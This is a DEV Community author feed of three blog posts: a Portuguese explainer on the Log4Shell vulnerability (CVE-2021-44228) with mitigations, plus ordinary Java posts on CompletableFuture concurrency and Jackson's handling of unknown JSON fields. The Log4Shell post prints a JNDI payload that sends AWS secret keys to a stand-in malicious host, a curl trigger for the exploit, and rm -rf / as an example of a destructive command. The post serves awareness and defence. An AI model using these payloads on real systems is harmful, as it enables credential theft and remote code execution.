DEV Community: Gilvan Filho

Log4Shell - Explorando um servidor Java vulnerável

Gilvan Filho — Thu, 30 Dec 2021 17:57:40 +0000

No dia 09/12/2021 tornou-se pública a vulnerabilidade de segurança apelidada de Log4Shell e que foi encontrada na biblioteca Log4j2, amplamente utilizada em todo o mundo. Tal vulnerabilidade registrada como CVE-2021-44228 recebeu nota 10 de criticidade face facilidade de exploração e risco gerado uma vez que permite a execução de código remoto (RCE - Remote code execution). Através da execução de código remoto o atacante pode, por exemplo, executar comandos na linha de comando do S.O. que executa a aplicação, dai o nome Log4Shell.

Se a aplicação estiver executando com usuário de administrador do sistema (root) o atacante possuirá privilégios de administrador. Por isso a importância de executar aplicações com privilégios limitados.

Com acesso a linha de comando do S.O. o atacante pode fazer o que desejar, desde instalar ransomwares e mineradores de criptomoedas a roubar dados e credenciais de acesso e etc.

A anatomia da vulnerabilidade

Graças a funcionalidade de Lookups do Log4j2 e de JNDI do Java é possível fazer com que uma aplicação vulnerável realize requisições expondo informações sensíveis ou baixe e execute código de um servidor remoto.

A funcionalidade de Lookups faz a substituição de strings "especiais" antes de logar as mesmas. Tais strings possuem o formato ${name} onde name pode ser muitas coisas (conforme documentação oficial entre elas JNDI. No caso de uma string JNDI para resolver (substituir) o valor a ser logado o Log4j2 faz uma requisição a um servidor remoto, sendo ai que mora o perigo. O resultado dessa requisição pode ser código malicioso que será executado pela aplicação vulnerável.

Para explorar a vulnerabilidade o atacante precisa fazer com que uma string maliciosa seja logada pelo Log4j2.

Obtendo informações sensíveis

Um exemplo do uso da funcionalidade de Lookups seria logar a string ${env:JAVA_HOME} que resultaria com o valor da variável de ambiente JAVA_HOME sendo logada, comum em sistemas que executam aplicações Java. Combinando isso com JNDI o atacante poderia tentar enviar a string abaixo para uma aplicação vulnerável:

${jndi:ldap://x${env:AWS_SECRET_ACCESS_KEY}-${env:AWS_ACCESS_KEY_ID}.servidor-malicioso.com/a}

Resultando em uma requisição LDAP via JNDI ao servidor-malicioso.com onde ${env:AWS_SECRET_ACCESS_KEY} e ${env:AWS_ACCESS_KEY_ID} seriam substituídos por informações sensíveis, nesse caso o secret access key e o access key id da AWS. A informação vazada poderia ser qualquer coisa, como o sistema operacional ${java:os}, a versão do java ${java:version} ou qualquer outra coisa. Aqui a criatividade e paciência do atacante impera na busca de informações sensíveis.

A figura abaixo representa o fluxo de um ataque que visa a obtenção de informações sensíveis:

Ao logar as requisições recebidas o atacante saberá que recebeu a requisição jndi:ldap://wJalrXUtnFEMI.servidor-malicioso.com/a da aplicação-vulneravel.com onde wJalrXUtnFEMI é a informação buscada.

Para o exemplo apresentado consideramos que a aplicação vulnerável loga o valor contido no cabeçalho User-Agent das requisições recebidas, possibilitando a exploração da vulnerabilidade.

Executando código remoto

O ataque visando a execução de código remoto segue a mesma linha do que visa a obtenção de informações sensíveis, nesse caso, no entanto, o servidor LDAP ao receber uma requisição devolve uma classe Java com código malicioso que será executado pela aplicação vulnerável.

Como dito no início do artigo com a habilidade de executar código no servidor vulnerável o atacante pode, entre outras coisas:

Instalar ransomwares e mineradores de criptomoedas;
Roubar dados e informações sensíveis;
Criar e executar arquivos
Deletar diretórios
Etc

As possibilidades são infinitas a depender do privilégio do usuário do S.O. que executou a aplicação.

A imagem abaixo demonstra uma PoC que criei em meu computador pessoal onde é injetado em uma aplicação vulnerável código malicioso que abre uma conexão socket e fica esperando requisições com comandos a serem executados na linha de comando do S.O. da aplicação.

Conforme é possível visualizar na imagem não há sucesso na primeira tentativa de executar o comando dir uma vez que o exploit ainda não foi realizado. No entanto, após realizar a requisição com string maliciosa curl -X GET -H "User-Agent: ${jndi:ldap://127.0.0.1:1389/a}" localhost:8080/log4j2 que ativa o exploit, a segunda tentativa ocorre com sucesso. No exemplo foi executado um comando que não causa dano algum, no entanto poderia ser algo como rm -rf /.

A aplicação foi propositalmente criada para ser vulnerável para fins de testes. Na imagem é possível observar que a aplicação loga o valor contido em User-Agent

Quem é afetado pela vulnerabilidade

Aplicações que possuem e utilizam o log4j2 para logar informações vindas de fora da aplicação (input de dados) podem está vulneráveis caso não façam o tratamento adequado de tais informações (CWE-20 - Improper Input Validation). A princípio as versões afetadas iam de 2.0-beta9 até 2.14.1.

No entanto após liberação da versão 2.15.0 que tinha como objetivo a resolução do problema outras vulnerabilidades relacionadas foram encontradas. O time da apache responsável por manter o Log4j2 vem atuando diariamente na resolução das vulnerabilidades detectadas.

Como se proteger"

Manter as dependências da sua aplicação e do seu ambiente (versão do java) atualizados é a melhor forma de se proteger. As versões mais recentes que visam a resolução do problema são:

2.17.1 (Java 8)
2.12.4 (Java 7)
2.3.2 (Java 6)

No entanto isso nem sempre é possível. A página de segurança do Log4j2 detalha uma lista de ações que podem ser tomadas para mitigar a vulnerabilidade. Além das ações citadas outras podem mitigar ou atenuar o problema:

Limitar o tráfego de saída: Se a aplicação vulnerável não puder realizar requisições para hosts desconhecidos não há como expor dados sensíveis ou baixar e executar código malicioso. Desta forma, se você limitar o trafego de saída para hosts conhecidos e confiáveis sua aplicação/servidor estará protegida.
O uso de um WAF (Web Application Firewall) irá atenuar o problema uma vez que regras no firewall podem bloquear requisições maliciosas analisando se consta na requisição uma string maliciosa.

Considerações finais

A ideia de escrever esse artigo surgiu no dia em que a vulnerabilidade foi divulgada, no entanto considerei prudente aguardar um pouco afim de que o mesmo não seja usado de forma indevida.

Delimitei como objetivo demostrar como é simples explorar a vulnerabilidade e o risco da mesma, afim de alertar que ações devem ser tomadas para atenuar e se possível mitigar o problema.

A PoC citada no artigo ficou plenamente funcional na madrugada no dia 16/12, conforme postado na tarde do mesmo dia no twitter.

// Detect dark theme var iframe = document.getElementById('tweet-1471532165422845956-179'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1471532165422845956&theme=dark" }

Em nenhum momento divulguei e nem irei divulgar o código utilizado. Tão pouco irei ensinar a de fato explorar a vulnerabilidade.

Espero, sinceramente, que as informações aqui passadas sejam utilizadas para o bem.

Cover by FLY:D on Unsplash

Tail Latency Amplification e Java

Gilvan Filho — Tue, 28 Dec 2021 23:15:00 +0000

Você já se deparou com situações onde o tempo de resposta de sua API é impactado pelo tempo de resposta de outras API's consultadas? Ou de operações independentes realizadas de forma síncrona e sequencial? Se sim você já sofreu com um problema conhecido como Tail latency amplification.

Deixo a explicação formal para livros como Designing Data Intensive Applications mas o parágrafo anterior deixa transparecer um pouco o que é o problema.

Tail Latency Amplification na prática

Ao realizar de forma síncrona e sequencial diversas requisições independentes o tempo de resposta de sua API será, no mínimo, a soma dos tempos de resposta das requisições realizadas.

Portanto se você realizar 3 requisições e cada uma delas responde em 150ms a sua resposta levará no mínimo 450ms (150x3). Agora imagine que um dos serviços em questão está sofrendo instabilidade, tendo tempo de resposta de 400ms. Nesse caso sua API levará no mínimo 700ms (150x2 + 400) para responder.

Considerando que não é possível interferir nos serviços de terceiros, o que podemos fazer para minimizar o problema é mudar a forma como nossa aplicação realiza tais requisições.

Não seria ótimo se pudéssemos buscar um tempo de resposta mais próximo do maior tempo de resposta entre as requisições realizadas? No cenário 1 (3 requisições de 150ms) nossa API responderia em torno de 150ms. No cenário 2 (2 requisições de 150ms e 1 de 400ms) nosso tempo de resposta seria em torno de 400ms.

Como faríamos isso? Paralelizando as requisições.

Java 8 e CompletableFuture

A classe CompletableFuture foi introduzida no Java 8 junto com melhorias na API de concorrência. Através dela é possível executar tarefas independentes de forma assíncrona e paralela.

Para simular requisições custosas iremos criar 3 métodos que serão executados, em um primeiro momento, de forma síncrona e sequencial. Cada método terá um Thread.sleep(x) visando simular o tempo de resposta do servidor. Caso deseje altere os valores para observar o comportamento da aplicação.

public class ThirdPartyService {
    public String getHello() {
        try {
            Thread.sleep(150); // suspende por 150ms
        } catch (InterruptedException e) {
            e.printStackTrace(); // ignora exception
        } 
        return "Hello";
    }

    public String getWorld() {
        try {
            Thread.sleep(150); // suspende por 150ms
        } catch (InterruptedException e) {
            e.printStackTrace(); // ignora exception
        }
        return " World";
    }

    public String getMyFriend() {
        try {
            Thread.sleep(400); // suspende por 400ms
        } catch (InterruptedException e) {
            e.printStackTrace(); // ignora exception
        }
        return " My Friend";
    }
}

Para manter a simplicidade estamos ignorando as exceções. Isso não deve ser realizado em código que for utilizado em produção!

A primeira versão do nosso client realiza as requisições de forma síncrona e sequencial:

class SyncClient {
    public static void main(String[] args) {
        ThirdPartyService service = new ThirdPartyService(); //instancia do serviço
        StringBuilder builder = new StringBuilder(); //utilizado para consolidar o resultado

        Long curTime = System.nanoTime();

        //Realizando requisições ao serviço
        builder.append(service.getHello());
        builder.append(service.getWorld());
        builder.append(service.getMyFriend());

        System.out.println(builder.toString()); //impressão do resultado "Hello World My Friend"
        System.out.println( (double) (System.nanoTime() - curTime) / 1_000_000_000  );
    }
}

Ao executar o código acima será possível observar que o tempo de execução nunca será menor que a soma dos tempos de cada requisição. Ou seja, o tempo de execução será no mínimo 150 + 150 + 400 = 700 ms. A imagem abaixo detalha a sequência de eventos:

Vamos agora criar a segunda versão do nosso client que executará as requisições de forma assíncrona e em paralelo conforme abaixo:

class AsyncClient {
    public static void main(String[] args) {
        ThirdPartyService service = new ThirdPartyService(); // instancia do serviço
        ExecutorService executor = Executors.newCachedThreadPool(); // 1 - Obtém um pool de threads para execução de tarefas assíncronas

        Long curTime = System.nanoTime();

        CompletableFuture<String> hello = CompletableFuture.supplyAsync(() -> service.getHello(), executor); // 2 - Executa a tarefa de forma assíncrona no pool
        CompletableFuture<String> world = CompletableFuture.supplyAsync(() -> service.getWorld(), executor);
        CompletableFuture<String> myFriend = CompletableFuture.supplyAsync(() -> service.getMyFriend(), executor);

        CompletableFuture.allOf(hello, world, myFriend).join(); // 3 - Aguarda a finalização da execução de todas as requisições

        StringBuilder builder = new StringBuilder();

        builder.append(hello.join()); // 4 - Obtem o valor retornado 
        builder.append(world.join());
        builder.append(myFriend.join());

        System.out.println(builder.toString()); // impressão do resultado "Hello World My Friend"
        System.out.println( (double) (System.nanoTime() - curTime) / 1_000_000_000  );

        executor.shutdownNow();
    }
}

Ao executar o novo client será possível observar que o tempo de execução será próximo ao da requisição mais longa, que no caso é 400ms do método getMyFriend(). Abaixo a nova sequência de eventos:

Pontos de atenção

1 - Entender os diferentes tipos de Thread Pools, seus funcionamentos e impactos é importante para usar o mais adequado ao seu cenário. Aqui usamos Cache Thread Pool que é útil para tarefas assíncronas curtas (short-lived asynchronous tasks). A classe Executors possui diversos métodos estáticos que fornecem thread pools pré-definidos para diversas situações.

2 - CompletableFuture.supplyAsync Retorna um CompletableFuture que será executado de forma assíncrona e fornecerá o resultado da tarefa quando solicitado (ver item 4).

3 - CompletableFuture.allOf Retorna um CompletableFuture que é completado quando todos os CompletableFutures passados também forem.

4 - CompletableFuture.get() e CompletableFuture.join() são operações "blocantes", ou seja, interrompem a execução do programa até obterem o retorno desejado. A diferença principal entre elas é que join() lança unchecked exceptions. Para operações assíncronas que retornam valor você terá que em algum momento usar get() ou join().

Referências

Jackson, JSON and the Proper Handling of Unknown Fields in APIs

Gilvan Filho — Fri, 23 Oct 2020 01:57:50 +0000

Imagine the following scenario: You have an application that integrates with another through the consumption of REST endpoints. To perform serialization/deserialization you use the famous Jackson library that magically transforms java objects into JSON (serialization) and vice versa (deserialization). One fine day, quite suddenly, your requests stop working with an exception similar to the one below:

com.fasterxml.jackson.databind.exc.UnrecognizedPropertyException: Unrecognized field

What could have happened? The exception itself tells you: There are unknown attributes in JSON that deserialization is being performed.

Explaining the Exception

According to the official documentation:

Specialized JsonMappingException sub-class specifically used to indicate problems due to encountering a JSON property that could not be mapped to an Object property (via getter, constructor argument or field).

Succinctly whenever there is a property in the JSON that has not been mapped to its java / DTO object, Jackson will throw this exception.

So What Could Have Happened?

The service provider your application is consuming has added a new attribute in the return of the service. Since such an attribute does not exist in your java / DTO object, we have an unrecognized property, making the deserialization process impossible (JSON -> object).

Ok, Sherlock! And now?

To paraphrase, and correct myself: whenever there is a property in JSON that has not been mapped to its java / DTO object, Jackson will throw this exception, unless you tell Jackson that he can ignore such attributes.

Ignoring Unknown Fields with Jackson

Fortunately, there are two ways to work around the problem in question and avoid throwing the exception:

Annotate the class with @JsonIgnoreProperties (ignoreUnknown = true)
Set the Deserialization Feature FAIL_ON_UNKNOWN_PROPERTIES to false

@JsonIgnoreProperties(ignoreUnknown=true)

Adding to your class @JsonIgnoreProperties(ignoreUnknown = true) annotation will tell Jackson to ignore unknown attributes when deserializing JSONs to objects in that class.

@JsonIgnoreProperties(ignoreUnknown=true)
public class AnnotatedPersonDto {
  private String name;
  private String sex;
  // ...
}

Set the Deserialization Feature FAIL_ON_UNKNOWN_PROPERTIES to false

Setting up the object mapper will tell Jackson to ignore unknown attributes in all deserializations where that object mapper is used.

// version 1.9 or before
objectMapper.configure(DeserializationConfig.Feature.FAIL_ON_UNKNOWN_PROPERTIES, false);

// version 2.0 or after
objectMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);

Let's Go to Tests

For our tests, we will need two DTO’s, one without an annotation (to prove the exception was thrown) and another with an annotation (to prove the resolution of the problem).

public class UnannotatedPersonDto {
  private String name;
  private String sex;
  // ...
}

@JsonIgnoreProperties(ignoreUnknown=true)
public class AnnotatedPersonDto {
  private String name;
  private String sex;
  // ...
}

The JSON below will be used, which has the age attribute that is not known by the DTO.

{ "name": "LINUS" , "age": 18, "sex": "MALE" }

Below we have 3 tests:

@SpringBootTest
class JacksonIgnorePropertiesTests {
  private String JSON_TO_DESERIALIZE = "{ \"name\": \"LINUS\" , \"age\": 18, \"sex\": \"MALE\" }";

    @Test
    void withJsonWithUnknownAttributes_whenWithoutAnnotationOrConfiguration_thenThrownException() throws JsonMappingException, JsonProcessingException {
      ObjectMapper mapper = new ObjectMapper();
      assertThrows(UnrecognizedPropertyException.class, () -> { mapper.readValue(JSON_TO_DESERIALIZE, UnannotatedPersonDto.class); });
    }

    @Test
    void withJsonWithUnknownAttributes_whenDtoHasAnnotationJsonIgnoreProperties_thenWillDeserialize() throws JsonMappingException, JsonProcessingException {
      ObjectMapper mapper = new ObjectMapper();
      assertEquals("LINUS", mapper.readValue(JSON_TO_DESERIALIZE, AnnotatedPersonDto.class).getNome());
    }

    @Test
    void withJsonWithUnknownAttributes_whenObjectMapperIsConfigured_thenWillDeserialize() throws JsonMappingException, JsonProcessingException {
      ObjectMapper mapper = new ObjectMapper();
      mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
      assertEquals("LINUS", mapper.readValue(JSON_TO_DESERIALIZE, UnannotatedPersonDto.class).getNome());
    }
}

Results:

The exception UnrecognizedPropertyException is thrown once JSON is deserialized using the class without annotation and no configuration has been added to the Object Mapper;

Deserialization is successful since the DTO that has the annotation used to ignore unknown attributes;

Deserialization also occurs successfully because despite using the DTO without the annotation to ignore unknown attributes, the object mapper was configured with the FAIL_ON_UNKNOWN_PROPERTIES feature that ignores those attributes.

Conclusion

So what is the best approach? It depends.

The approach of annotating classes with @JsonIgnoreProperties allows for finer control over which objects should ignore unknown fields and which should not. On the other hand, a developer may forget to put the annotation to a class, and then the problem could occur.

The approach of configuring the object mapper in line with a dependency injection framework, ensuring that the same object mapper is used throughout the whole system, will guarantee the extinction of the exception throughout the application, but leaving the developers blindfolded in relation the evolves that occur in API being consumed.